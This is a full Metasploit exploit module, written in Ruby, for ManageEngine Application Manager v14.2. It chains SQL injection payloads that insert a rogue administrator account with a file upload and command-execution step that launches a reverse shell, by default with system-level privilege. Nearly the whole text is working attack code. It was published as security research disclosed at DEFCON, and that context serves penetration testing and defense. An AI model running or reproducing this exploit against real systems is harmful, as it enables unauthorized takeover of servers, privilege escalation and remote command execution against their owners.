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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution", 'Description'=> %q( This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions. Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. Therefore low authority user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License'=> MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 9090, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload'=> { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME',[true, 'OpManager Username']), OptString.new('PASSWORD',[true, 'OpManager Password']), OptString.new('TARGETURI',[true, 'Base path for ME application', '/']) ],self.class) end def check_platform(cookie) res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'showTile.do'), 'cookie'=> cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(cookie, platform, @dir) end def file_up(cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'method' => 'POST', 'data'=> data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method'=> 'POST', 'uri' =>normalize_uri(target_uri.path, 'adminAction.do'), 'cookie'=> cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(cookie, action) send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie'=> cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'index.do'), ) # For this part the build control will be placed. if res && res.code == 200 && res.body.include?('Build No:142') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method'=> 'POST', 'cookie' => @cookie, 'uri' =>normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'submit' => 'Login' } ) if res && res.code == 303 res = send_request_cgi( 'cookie'=> @cookie, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies send_sqli(@cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end def send_sqli(cookies) @uname = Rex::Text.rand_text_alpha_lower(6) uid = rand_text_numeric(3) apk = rand_text_numeric(6) @pwd = rand_text_alphanumeric(8+rand(9)) @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" pg_user ="" pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+" pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);" pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+" ms_user ="" ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR}," ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});" ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--" res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method'=> 'POST', 'cookie' => @cookie, 'uri' =>normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => @uname, 'j_password' => @pwd, 'submit' => 'Login' } ) print @uname + "//" + @pwd puts res.body if res && res.code == 303 print_good("Privilege Escalation was successfully performed.") print_good("New APM admin username = " + @uname) print_good("New APM admin password = " + @pwd) res = send_request_cgi( 'cookie'=> @cookie, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(@cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::NotVulnerable, 'Something went wrong!') end end end |
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